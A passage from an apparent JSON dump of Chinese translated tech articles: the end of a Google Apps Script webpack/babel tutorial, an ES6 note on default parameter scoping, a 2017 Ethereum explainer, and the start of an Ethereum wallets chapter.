应用。\n\n![](http://blog.gsmart.in/wp-content/uploads/2019/03/word-image-89.png)\n\n## 创建包 —— 使用 WebPack 和 Babel\n\n接下来我们在 Apps 脚本中使用 [ES6](https://en.wikipedia.org/wiki/ECMAScript)。我们将使用 [babel](https://babeljs.io/) 对 ES6 进行编译并使用 [webpack](https://webpack.js.org/) 并对生成的代码进行分块打包。\n\n我这有一个简单的 Apps 脚本项目：\n\n[https://github.com/gsmart-in/AppsCurryStep1](https://github.com/gsmart-in/AppsCurryStep1)\n\n让我们来看看这个项目的结构。\n\n![](http://blog.gsmart.in/wp-content/uploads/2019/03/word-image-90.png)\n\n“server” 子文件夹包含代码。api.js 文件包含暴露给 Apps 脚本的函数。\n\n在 **lib.js** 文件里我们会看到 es6 代码。在 lib 模块，我们可以引入其他 es6 文件和 npm 包。\n\n![](http://blog.gsmart.in/wp-content/uploads/2019/03/word-image-91.png)\n\n我们使用 webpack 来对代码进行分块打包，并使用 babel 来编译。\n\n现在我们看看 webpack.gas.js 文件：\n\n这是 webpack 配置文件。总之，这个配置文件告诉 webpack 的是\n\n* 使用 babel 将 server/lib.js 文件编译为向后兼容的 Javascript 代码。然后把打包后的文件放在 “dist” 目录下\n* 复制 api.js 文件且不更改输入文件夹 “dist”\n* 复制一些配置文件（appsscript.js 和 .clasp.json 文件到输出文件夹 ‘dist’ 目录下）\n\n重点注意这几行代码：\n\nwebpack.gas.js\n\n```JavaScript\nmodule.exports  =  {\n  mode:  'development',\n  entry:{\n    lib:'./server/lib.js'\n  },\n  output:{\n     filename:  '\\[name\\].bundle.js',\n     path:  path.resolve(__dirname,  'dist'),\n     libraryTarget:  'var',\n     library:  'AppLib'\n  }\n}\n```\n\n这意味着 webpack 将暴露一个全局变量 AppLib，通过该变量可以访问打包后文件可以导出的类和函数。\n\n现在来看 api.js 文件。\n\napi.js\n```JavaScript\nfunction  doGet(){\n  var  output  =  AppLib.getObjectValues();\n  return  ContentService.createTextOutput(output);\n}\n```\n\nserver/lib.js 文件\n\nlib.js\n\n```JavaScript\nfunction  getObjectValues(){\n  let options  =  Object.assign({},  {source_url:null,  header_row:1},  {content:\"Hello, World\"});\n  return(JSON.stringify(options));\n}\n\nexport  {\n  getObjectValues\n};\n```\n\n我们正在使用 Apps 脚本不支持的 Object.assign() 方法。当使用 babel 编译成 lib.js 文件时，它将生成 Apps 脚本支持的兼容代码。\n\n现在让我们看看 package.json 文件\n\npackage.json\n\n```JavaScript\n{\n  \"name\": \"AppsPackExample1\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"gas\": \"webpack --config webpack.gas.js \",\n    \"deploy\": \"npm run gas && cd dist && clasp push && clasp open --webapp\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"MIT\",\n  \"devDependencies\": {\n    \"@babel/core\": \"^7.4.0\",\n    \"@babel/preset-env\": \"^7.4.2\",\n    \"babel-loader\": \"^8.0.5\",\n    \"copy-webpack-plugin\": \"^5.0.1\",\n    \"webpack\": \"^4.29.6\",\n    \"webpack-cli\": \"^3.3.0\"\n  },\n  \"dependencies\": {\n    \"@babel/polyfill\": \"^7.4.0\"\n  }\n}\n```\n\n当你运行如下命令时：\n\n```\n$>  npm run gas\n```\n\nWebpack 将 lib.js 代码（以及你导入的其它模块）编译并打包到单个 JavaScript 文件中，并将文件放在 “dist” 文件夹中。\n\n然后我们可以使用 “clasp” 上传代码。\n\n参考 package.json 文件中的脚本 “deploy”。\n\n它运行 webpack，然后执行 “clasp push” 和 “clasp open” 命令。\n\n## 部署 “AppsCurryStep1”\n\n如果上面步骤未完成，请在本地克隆示例项目代码库。\n\n```\ngit clone  git@github.com:gsmart-in/AppsCurryStep1.git\n```\n\n打开终端并转到 AppsCurryStep1 目录下。\n\n执行下面的命令：\n\n```\nclasp create  --type standalone  --title  \"Apps Script with Webpack and babel\"\n```\n\n这将在你的账户中创建一个独立的脚本项目。\n\n现在执行：\n\n```\nnpm run deploy\n```\n\n这将在你的浏览器中打开你的 web app。\n\n## 将 npm 模块与你的 Apps 脚本项目集成\n\nApps 脚本的一个限制特性是没有简单的方法可以将 npm 之类的包集成到你的项目中。\n\n例如，你可能想在项目中使用 [momentjs](https://momentjs.com/) 来处理日期，或者 [lodash](https://lodash.com/) 工具集方法。\n\n实际上，[Apps 脚本是有库功能的](https://developers.google.com/apps-script/guides/libraries)，但是它有几个限制。我们不会在这篇文章中探索这个库的功能；我们将安装 npm 模块并使用 webpack 打包这些模块来创建与 Apps 脚本兼容的包。\n\n因为我们已经开始使用 webpack 来创建可以集成到 apps 脚本的包，所以我们现在添加一些 npm 包应该更容易。让我们开始使用 moment.js 吧！\n\n打开终端，转到你上一步创建的 AppsCurryStep1 目录下，添加 momentjs。\n\n```\nnpm install moment  --save\n```\n\n现在让我们在 Apps 脚本项目中使用一些 momentjs 的功能。\n\n在 lib.js 文件中添加一个新的函数。\n\nserver/lib.js\n\n```JavaScript\nimport * as moment from \"moment\";\n\nfunction getObjectValues() {\n  let options = Object.assign(\n    {},\n    { source_url: null, header_row: 1 },\n    { content: \"Hello, World\" }\n  );\n\n  return JSON.stringify(options);\n}\n\nfunction getTodaysDateLongForm() {\n  return moment().format(\"LLLL\");\n}\n\nexport { getObjectValues, getTodaysDateLongForm };\n```\n\n**提示：** 不要忘记导出新函数。\n\n现在让我们在 api.js 文件中使用这个新函数吧。\n\nserver/api.js\n\n```JavaScript\nfunction doGet() {\n  var output = \"Today is \" + AppLib.getTodaysDateLongForm() + \"\\\\n\\\\n\";\n\n  return ContentService.createTextOutput(output);\n}\n```\n\n转到终端并输入：\n\n```\nnpm run deploy\n```\n\n这个更新了的脚本会打开浏览器，并打印今天的日期。\n\n打印今天的日期并没有多少乐趣。让我们添加另一个有更多功能的函数。\n\nserver/lib.js\n\n```JavaScript\nfunction  getDaysToAnotherDate(y,m,d){\n  return  moment().to(\\[y,m,d\\]);\n}\n```\n\n现在在 api.js 文件中更新 doGet() 并调用 getDaysToAnotherDate()。\n\nserver/api.js\n\n```JavaScript\nfunction  doGet(){\n  var  output  =  'Today is '+AppLib.getTodaysDateLongForm()+\"\\\\n\\\\n\";\n  output  +=  \"My launch date is \"+AppLib.getDaysToAnotherDate(2020,3,1)+\"\\\\n\\\\n\";\n  return  ContentService.createTextOutput(output);\n}\n```\n\n下面，让我们添加 lodash。\n\n首先，执行下面的命令：\n\n```\nnpm install lodash  --save\n```\n\n然后我们使用 lodash 添加一个随机数生成器。\n\nserver/lib.js\n\n```JavaScript\nfunction  printSomeNumbers(){\n  let out  =  _.times(6,  ()=>{\n    return  _.padStart(_.random(1,100).toString(),  10,  '.')+\"\\\\n\\\\n\";\n  });\n  return  out;\n}\n```\n\n让我们在 api.js 中调用该函数：\n\nserver/api.js\n\n```JavaScript\nfunction  doGet(){\n  var  output  =  'Today is '+AppLib.getTodaysDateLongForm()+\"\\\\n\\\\n\";\n  output  +=  \"My launch date is \"+AppLib.getDaysToAnotherDate(2020,3,1)+\"\\\\n\\\\n\";\n  output  +=  \"\\\\n\\\\n\";\n  output  +=  \"Random Numbers using lodash\\\\n\\\\n\";\n  output  +=  AppLib.printSomeNumbers();\n  return  ContentService.createTextOutput(output);\n}\n```\n\n再次部署这个项目：\n\n```\nnpm run deploy\n```\n\n你应该可以在线上看到你的 web 应用页面的随机数字。\n\n第 2 部分的源代码（与 npm 模块集成）可在此处获得： \n[https://github.com/gsmart-in/AppsCurryStep2](https://github.com/gsmart-in/AppsCurryStep2)\n\n## 下一步\n\n既然添加 npm 包到你的 Apps 脚本项目中如此容易，那我们可以开始创建一些 npm 包了。\n\n封装 Google APIs、Gmail、Google 表格、Google Docs和其它公共的 API 的包，将会带来很多的乐趣！\n\n另一个重要的部分还没说到。目前我们看到 web 应用只是一个简单的文本界面。试试使用现代化 CSS 框架，bootstrap、bulma、material design 以及 VueJS 和 React，并用 Apps 脚本创建一些单页面 Web 应用？对，我们会这样做的。我们会在客户端使用 bootstrap 和 Vuejs，在服务端使用 Apps 脚本，并构建一个单页应用。\n\n多么令人兴奋啊！请继续关注本系列的文章。\n\n### 更新\n\n在第二部分，我们将使用 bootstrap 和 VueJS 构建我们的 web 应用的客户端。点击此处阅读全部：  \n[在 Google Apps 脚本中（使用 Vue 和 Bootstrap）构建单页应用](http://blog.gsmart.in/single-page-apps-vue-bootstrap-on-google-apps-script/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/es6-notes-default-values-of-parameters.md",
    "content": "> * 原文地址：[Note 6. ES6: Default values of parameters](http://dmitrysoshnikov.com/ecmascript/es6-notes-default-values-of-parameters/)\n> * 原文作者：[Dmitry Soshnikov](http://dmitrysoshnikov.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/es6-notes-default-values-of-parameters.md](https://github.com/xitu/gold-miner/blob/master/TODO1/es6-notes-default-values-of-parameters.md)\n> * 译者：[Chorer](https://github.com/chorer)\n> * 校对者：[fireairforce](https://github.com/fireairforce), [xingqiwu55555](https://github.com/xingqiwu55555)\n\n# 笔记 6. ES6：参数默认值\n\n在这篇文章中我们会介绍另一个 ES6 的特性，带**默认值**的函数参数。正如我们将看到的，有一些微妙的案例。\n\n## ES5 及更低版本的手动默认值\n\n以前的默认参数值是通过以下几种可选方式手动处理的：\n\n```\nfunction log(message, level) {\n  level = level || 'warning';\n  console.log(level, ': ', message);\n}\n \nlog('low memory'); // warning: low memory\nlog('out of memory', 'error'); // error: out of memory\n```\n\n为了避免参数未传递的情况，通常可以看到 `typeof` 检查：\n\n```\nif (typeof level == 'undefined') {\n  level = 'warning';\n}\n```\n\n有时，你也可以检查 `arguments.length`：\n\n```\nif (arguments.length == 1) {\n  level = 'warning';\n}\n```\n\n所有这些方法都行之有效，但是，它们太偏向手动了，并且不够抽象。ES6 标准化了一种句法结构，在函数头直接定义了参数默认值。\n\n## ES6 默认值：基本实例\n\n许多语言都存在默认参数值，所以大多数开发人员应该熟悉它的基本形式：\n\n```\nfunction log(message, level = 'warning') {\n  console.log(level, ': ', message);\n}\n \nlog('low memory'); // warning: low memory\nlog('out of memory', 'error'); // error: out of memory\n```\n\n这种默认参数用法相当随意，但是却很方便。接下来，让我们深入实现细节来理清默认参数可能带来的困惑。\n\n## 实现细节\n\n以下是一些关于 ES6 函数默认参数值的实现细节。\n\n### 执行阶段的重新计值\n\n一些其他语言（例如 Python）会在**定义阶段**对默认参数进行一次计值，相比之下，ECMAScript 则会在**执行阶段**计算默认参数值 —— 每次函数调用的时候。采用这种设计是为了避免与作为默认值的复杂对象混淆。思考下面的 Python 例子：\n\n```\ndef foo(x = []):\n  x.append(1)\n  return x\n \n# 我们可以看到默认值在函数定义时\n# 只创建了一次，并且保存于\n# 函数对象的属性中\nprint(foo.__defaults__) # ([],)\n \nfoo() # [1]\nfoo() # [1, 1]\nfoo() # [1, 1, 1]\n \n# 正如我们所说的，原因是：\nprint(foo.__defaults__) # ([1, 1, 1],)\n```\n\n为了避免这种情况，Python 开发者习惯将默认值定义为 `None`，并且显式检查这个值：\n\n```\ndef foo(x = None):\n  if x is None:\n    x = []\n  x.append(1)\n  print(x)\n \nprint(foo.__defaults__) # (None,)\n \nfoo() # [1]\nfoo() # [1]\nfoo() # [1]\n \nprint(foo.__defaults__) # ([None],)\n```\n\n但是，这与手动处理实际默认值的方式是一样不方便的，并且最初的案例让人感到疑惑。因此，为了避免这种情况，ECMAScript 会在每次函数执行时计算默认值：\n\n```\nfunction foo(x = []) {\n  x.push(1);\n  console.log(x);\n}\n \nfoo(); // [1]\nfoo(); // [1]\nfoo(); // [1]\n```\n\n一切都很好，很直观。接下来你会发现，如果我们不了解默认值的工作机制，ES 语义可能会让我们感到困惑。\n\n### 外部作用域的遮蔽\n\n思考下面的例子：\n\n```\nvar x = 1;\n \nfunction foo(x, y = x) {\n  console.log(y);\n}\n \nfoo(2); // 2，不是 1！\n```\n\n正如我们**看到**的，上面的例子输出的 `y` 是 `2`，不是 `1`。原因是参数中的 `x` 与全局的 `x` **不是同一个**。由于执行阶段会计算默认值，在赋值 `= x` 发生的时候， `x` 已经在**内部作用域**被解析了，并且指向了 **`x` 参数自身**。具有相同名称的参数 `x` **遮蔽了**全局变量，使得对来自默认值的 `x` 的所有访问都指向参数。\n\n### 参数的 TDZ（暂时性死区）\n\nES6 提到了所谓的 **TDZ**（表示**暂时性死区**）—— 这是程序的一部分，在这个区域内变量或者参数在**初始化**（即接受一个值）之前将**无法访问**。 \n\n就参数而言，一个**参数不能以自身作为默认值**：\n\n```\nvar x = 1;\n \nfunction foo(x = x) { // 抛出错误！\n  ...\n}\n```\n\n我们上面提到的赋值 `= x` 在参数作用域中解析 `x` ，遮蔽了全局 `x` 。 但是，参数 `x` 位于 TDZ 内，在初始化之前无法访问。因此，它无法初始化为自身。\n\n注意，上面带有 `y` 的例子是有效的，因为 `x` 已经初始化（为隐式默认值 `undefined`）了。我们再来看一下：\n\n```\nfunction foo(x, y = x) { // 可行\n  ...\n}\n```\n\n之所以可行，是因为 ECMAScript 中的参数是按照**从左到右的顺序**初始化的，我们已经有可供使用的 `x` 了。\n\n我们提到参数已经与“内部作用域”相关联了，在 ES5 中我们可以假定是**函数体**的作用域。但是，它实际上更加复杂：它**可能**是一个函数的作用域，**或者**是一个为了**存储参数绑定**而特别创建的**中间作用域**。我们来思考一下。\n\n### 特定的参数中间作用域\n\n事实上，如果**一些**（至少有一个）参数具有默认值，ES6 会定义一个**中间作用域**用于存储参数，并且这个作用域与**函数体**的作用域**不共享**。这是与 ES5 存在主要区别的一个方面。我们用例子来证明：\n\n```\nvar x = 1;\n \nfunction foo(x, y = function() { x = 2; }) {\n  var x = 3;\n  y(); // `x` 被共用了吗？\n  console.log(x); // 没有，依然是 3，不是 2\n}\n \nfoo();\n \n// 并且外部的 `x` 也不受影响\nconsole.log(x); // 1\n```\n\n在这个例子中，我们有**三个作用域**：全局环境，参数环境，以及函数环境：\n\n```\n:  {x: 3} // 内部\n-> {x: undefined, y: function() { x = 2; }} // 参数\n-> {x: 1} // 全局\n```\n\n我们可以看到，当函数 `y` 执行时，它在最近的环境（即参数环境）中解析 `x`，函数作用域对其并不可见。\n\n#### 转译为 ES5\n\n如果我们要将 ES6 代码编译为 ES5，并看看这个中间作用域是怎样的，我们会得到下面的结果：\n\n```\n// ES6\nfunction foo(x, y = function() { x = 2; }) {\n  var x = 3;\n  y(); // `x` 被共用了吗？\n  console.log(x); // 没有，依然是 3，不是 2\n}\n \n// 编译为 ES5\nfunction foo(x, y) {\n  // 设置默认值。\n  if (typeof y == 'undefined') {\n    y = function() { x = 2; }; // 现在可以清楚地看到，它更新了参数 `x`\n  }\n \n  return function() {\n    var x = 3; // 现在可以清楚地看到，这个 `x` 来自内部作用域\n    y();\n    console.log(x);\n  }.apply(this, arguments);\n}\n```\n\n#### 参数作用域的源由\n\n但是，设置这个**参数作用域**的**确切目的**是什么？为什么我们不能像 ES5 那样与函数体共享参数？理由是：函数体中的同名变量**不应该因为名字相同而影响到[闭包](http://dmitrysoshnikov.com/ecmascript/chapter-6-closures/)绑定中的捕获行为**。\n\n我们用下面的例子展示：\n\n```\nvar x = 1;\n \nfunction foo(y = function() { return x; }) { // 捕获 `x`\n  var x = 2;\n  return y();\n}\n \nfoo(); // 是 1，不是 2\n```\n\n如果我们在**函数体**的作用域中创建函数 `y`，它将会捕获内部的 `x`，也即 `2`。但显而易见，它应该捕获的是外部的 `x`，也即 `1`（除非它被同名参数**遮蔽**）。\n\n同时，我们无法在外部作用域中创建函数，这意味着我们无法从这样的函数中访问**参数**。我们可以这样做：\n\n```\nvar x = 1;\n \nfunction foo(y, z = function() { return x + y; }) { // 可以看到 `x` 和 `y`\n  var x = 3;\n  return z();\n}\n \nfoo(1); // 2，不是 4\n```\n\n#### 何时不会创建参数作用域\n\n上述的语义与默认值的**手动实现**是**完全不同**的：\n\n```\nvar x = 1;\n \nfunction foo(x, y) {\n  if (typeof y == 'undefined') {\n    y = function() { x = 2; };\n  }\n  var x = 3;\n  y(); // `x` 被共用了吗？\n  console.log(x); // 是的！2\n}\n \nfoo();\n \n// 外部的 `x` 依然不受影响\nconsole.log(x); // 1\n```\n\n现在有一个有趣的事实：如果一个函数**没有默认值**，它就**不会创建这个中间作用域**，并且会与一个**函数环境**中的参数绑定**共享**，即**以 ES5 模式运行**。 \n\n为什么要这么复杂呢？为什么不总是创建参数作用域呢？这仅仅和优化有关吗？并非如此。确切地说，这是为了向下兼容 ES5：上述手动实现默认值的代码**应该**更新函数体中的 `x`（也就是参数自身，且位于相同作用域中）。\n\n同时还要注意，那些重复声明只适用于 `var` 和函数。用 `let` 或者 `const` 重复声明参数是不行的：\n\n```\nfunction foo(x = 5) {\n  let x = 1; // 错误\n  const x = 2; // 错误\n}\n```\n\n### `undefined` 检查\n\n还要注意另一个有趣的事实，是否应用默认值，取决于对参数初始值（其赋值发生在[一进入上下文](http://dmitrysoshnikov.com/ecmascript/chapter-2-variable-object/#entering-the-execution-context)时）的检查结果是否为值 `undefined`。我们来证明一下： \n\n```\nfunction foo(x, y = 2) {\n  console.log(x, y);\n}\n \nfoo(); // undefined, 2\nfoo(1); // 1, 2\n \nfoo(undefined, undefined); // undefined, 2\nfoo(1, undefined); // 1, 2\n```\n\n通常，在编程语言中带默认值的参数在必需参数之后，但是，上述事实允许我们在 JavaScript 中使用如下结构：\n\n```\nfunction foo(x = 2, y) {\n  console.log(x, y);\n}\n \nfoo(1); // 1, undefined\nfoo(undefined, 1); // 2, 1\n```\n\n### 解构组件的默认值\n\n涉及默认值的另一个地方是解构组件的默认值。本文不会涉及解构赋值的主题，不过我们会展示一些小例子。不管是在函数参数中使用解构，还是上述的使用简单默认值，处理默认值的方式都是一样的：即在需要的时候创建两个作用域。\n\n```\nfunction foo({x, y = 5}) {\n  console.log(x, y);\n}\n \nfoo({}); // undefined, 5\nfoo({x: 1}); // 1, 5\nfoo({x: 1, y: 2}); // 1, 2\n```\n\n尽管解构的默认值更加通用，不仅仅用于函数中：\n\n```\nvar {x, y = 5} = {x: 1};\nconsole.log(x, y); // 1, 5\n```\n\n## 结论\n\n希望这篇简短的笔记可以帮助解释 ES6 中默认值的细节。注意，在本文撰写的那一天（2014 年 8 月 21 日），默认值**还没有得到真正的实现**（它们都只是创建了一个与函数体共享的作用域），因为这个“第二作用域”是在最近才添加到标准草案里的。默认值一定会是一个很有用的特性，它将使我们的代码更加优雅和整洁。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/ethereum-bitcoin-explainer.md",
    "content": "> * 原文地址：[Ethereum: The not-Bitcoin cryptocurrency that could help replace Uber](https://mashable.com/2017/03/24/ethereum-bitcoin-explainer/)\n> * 原文作者：[EMMA HINCHLIFFE](https://mashable.com/author/emmahinchliffe/)\n> * 译文出自：[掘金翻译计划 — 区块链分舵](https://github.com/xitu/blockchain-miner)\n> * 本文永久链接：[https://github.com/xitu/blockchain-miner/tree/master/article/0001/ethereum-bitcoin-explainer.md](https://github.com/xitu/blockchain-miner/tree/master/article/0001/ethereum-bitcoin-explainer.md)\n> * 译者：[Noah Gao](https://noahgao.net)\n> * 校对者：[haiyang-tju](https://github.com/haiyang-tju), [7Ethan](https://github.com/7Ethan)\n\n# 以太坊：能帮我们把 Uber 换掉的非比特币加密货币\n\n![](https://i.amz.mshcdn.com/GKd0az4kW5ADnn02y_0yWdZ1PNQ=/950x534/filters:quality(90)/https%3A%2F%2Fblueprint-api-production.s3.amazonaws.com%2Fuploads%2Fcard%2Fimage%2F423288%2Fae2d8151-8fd7-4271-9459-ca3027da88ef.jpg)\n\n2017 年是比特币的重要一年，[它的价格达到了峰值](https://mashable.com/2017/02/24/bitcoin-record-high-sec/)，令人失望的是，[美国证券交易委员会打击了排名第一的比特币粉丝 —— Winkelvoss 双胞胎兄弟](https://mashable.com/2017/03/11/bitcoin-etf-sec-winklevoss/)，即便如此，[它的价值比黄金还要高](https://mashable.com/2017/03/03/bitcoin-gold-price/)。\n\n但是，就在大家都关注着比特币的时候，另一种加密货币的数量正在悄然增长。以太坊，一种有点像比特币，但有点神秘，更复杂的加密货币。它在本月早些时候的日常交易量较比特币有所上涨。简单来说，比特币的货币价值很大，但以太坊的应用范围更广，以至于它几乎推动了业务的发展。\n\n甚至那些不关心数字货币的人都听说过比特币。但是根据对 **Mashable** 办公室的一个简短而且不太科学的调查，币圈之外却几乎没有人知道以太坊是什么。\n\n## 所以，以太坊到底是什么？\n\n以太坊是一个去中心化的应用，支持加密货币或数字货币，就像比特币一样。你可以用它进行线上付款、货币交换、或着是在任何可以接受它的地方买卖东西。\n\n但以太坊超过比特币的地方在于。这种被称为 ether 的加密货币，运行在一种“智能合约”上。智能合约是一种区块链技术和 \"if:then\" 系统，**当**满足了一定的条件时，它允许以太坊进行交易。\n\n比特币虽然也运行在区块链（一种分布式的、去中心化的交易帐本）之上，但它不会涉及智能合约的这些额外步骤。\n\n## 区块链又是什么？\n\n区块链是一个分布式的大账本，所有的比特币的、以太坊的交易，都会记录在上面。它完全是去中心化的，这意味着他不会是由任何一个人或一家公司运营的。除了比特币，它的去中心化特性也可以提供给很多其他应用，比如 [分发音乐版权](https://mashable.com/2016/09/01/revelator-blockchain-music-rights/)，或是为 [传统金融机构](https://mashable.com/2016/08/12/bitcoin-blockchain-world-economic-forum/) 提供助力，并且它还是数字货币的组成部分。\n\n## 以太坊能做什么比特币做不到的？\n\n以太坊的加密货币就像是比特币，但它有一些额外的功能。\n\n智能合约意味着你可以使用以太坊做更多的事情，而不仅仅是为买东西付款。例如，如果你想在超级碗比赛上赌一把，你可以使用以太坊来为爱国者队下注来**赌**他们胜利。\n\n一个 if:then 工具还有很多更大的应用，不仅仅是赌博。你可以用以太坊来设立一个众筹活动，就像**赫芬顿邮报**所 [指出的那样](http://www.huffingtonpost.com/ameer-rosic-/ethereum-vs-bitcoin-whats_b_13735404.html)，这样如果你能满足项目的目标，就能拿到你的钱 —— 而且没有像 Kickstarter 或 GoFundMe 那样收费。\n\n> \"在今天，能使用以太坊实现的任何其他技术都是无法想象的。\"\n\n智能合约甚至能够代替律师、CEO 和公司。\n\n研究加密货币的斯坦福大学博士生 Benedikt Bunz 说：“你不需要 Uber 这家或者别的类似公司了。”你可以让 Uber 合约来处理这笔钱完成支付。\n\n## 现在谁在用以太坊？\n\n不出我们所料，以太坊与比特币有着相似的客户。但以太坊仍处于较早的实验性阶段。投资者和投机者都还专注于建构新的应用 — 而不是引入以太坊的 ATM 机。\n\n## 我该怎么买到以太坊？\n\n首先，你需要一个帐户，推荐你在 [Coinbase](https://www.coinbase.com/buy-ethereum?locale=en) 注册。\n\n## 以太坊的价格怎么样？\n\n一个比特币真的很贵：周四早上，它价值 1050 美元。以太坊每单位没有那么昂贵。周四的时候它的价值徘徊在 41 美元左右。（译者注：本文写于 2017 年 3 月，现在的数据已经有所不同。2018 年 11 月 16日 4:00 UTC，比特币约 5572 美元，以太坊单位约 178 美元。）\n\n## 以太坊已经做了什么？\n\n开发者们可以用以太坊来构建利用其智能合约技术的一些应用程序。[其中的一些应用](http://www.coindesk.com/7-cool-decentralized-apps-built-ethereum/) 非常酷，它们可以支持小额信贷、建立虚拟世界、防止身份盗用等等。\n\n## 以太坊是比特币的唯一替代品吗？\n\n不是，但它是最好的一个。大多数其他加密货币可以作为比特币的替代品，而没有为切换到他们提供任何真实的理由。由于智能合约，以太坊是唯一一个具有完全不同优势的产品。\n\nBunz 说，除了以太坊之外，加密货币 Zerocash 是最有说服力的选择了。它的创新点是改善了交易隐私，因为比特币交易在区块链账本上是公开的。\n\n除此之外，其他一切都像比特币一样。\n\n## 以太坊有哪些风险？\n\n如果以太坊的智能合约出现问题，可能会非常麻烦。Bunz 说，程序不仅会崩溃 —— 它可能会消除金钱而且无法将其取回，因为 if:then 命令可以被直接通过且不可逆转。\n\n发生这种情况的可能性非常低，但它仍然是未来的一个大麻烦。\n\n还有就是，以太坊、比特币和其他加密货币都存在的波动性。在三月份的，最近一次为期三天的延长期中，[以太坊的价格翻了一倍](http://www.coindesk.com/new-highs-ethereum-returns-rangebound-trading/) 并且从那以后一直都会有这种可能。\n\n![](https://i.amz.mshcdn.com/cdexu-hJicRNp0GFxbxHAlAwOBM=/fit-in/1200x9600/https%3A%2F%2Fblueprint-api-production.s3.amazonaws.com%2Fuploads%2Fcard%2Fimage%2F425307%2Fd2371fbb-a09f-4f05-8eea-0801141faf11.jpg)\n\n图片来源：[worldcoinindex.com](http://worldcoinindex.com)\n\n## 以太坊实际上有多重要？\n\n以太坊目前的主要价值是它的潜力。加密货币的信徒们表示，该技术可以取代 Uber，理论上它还可以取代各种其他服务。\n\n“有些事情在主流货币上是绝对可能做到的，但是在今天的比特币上却是不可能的。”Bunz 说。“在今天，能使用以太坊实现的任何其他技术都是无法想象的。”\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划 — 区块链分舵](https://github.com/xitu/blockchain-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。[掘金翻译计划 — 区块链分舵](https://github.com/xitu/blockchain-miner) 是 [掘金翻译计划](https://github.com/xitu/gold-miner) 在区块链方向的分支，目标是更好地为社区贡献更优质的区块链内容。\n"
  },
  {
    "path": "TODO1/ethereumbook-wallets.md",
    "content": "> * 原文地址：[ethereumbook-wallets](https://github.com/ethereumbook/ethereumbook/blob/develop/wallets.asciidoc)\n> * 原文作者：[ethereumbook](https://github.com/ethereumbook)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/ethereumbook-wallets.md](https://github.com/xitu/gold-miner/blob/master/TODO1/ethereumbook-wallets.md)\n> * 译者：[XatMassacrE](https://github.com/XatMassacrE)\n> * 校对者：[leviding](https://github.com/leviding)\n\n## 以太坊钱包详解\n\n「钱包」这个词语在以太坊中表示的并不是它本来的意思。\n\n宏观的讲，钱包主要就是为用户提供用户界面的一个应用。它掌管着用户的金钱，管理着密钥和地址，追踪账户余额以及创建交易和签名。除此之外，一些以太坊钱包还可以与智能合约进行交互，例如代币之类的。\n\n而从一个程序员的角度更准确的讲，「钱包」这个词语指的就是存储和管理密钥和地址的系统。每一个「钱包」都有一个密钥管理组件。而对于有些钱包来说，这就是钱包的全部。其他的大部分钱包都是「浏览器」，其实就是基于以太坊的去中心化应用的接口。所以这些各式各样的「钱包」之间并没有什么明确的界限。\n\n接下来让我们先看一看钱包关于密钥管理和私钥容器部分的功能。\n\n### 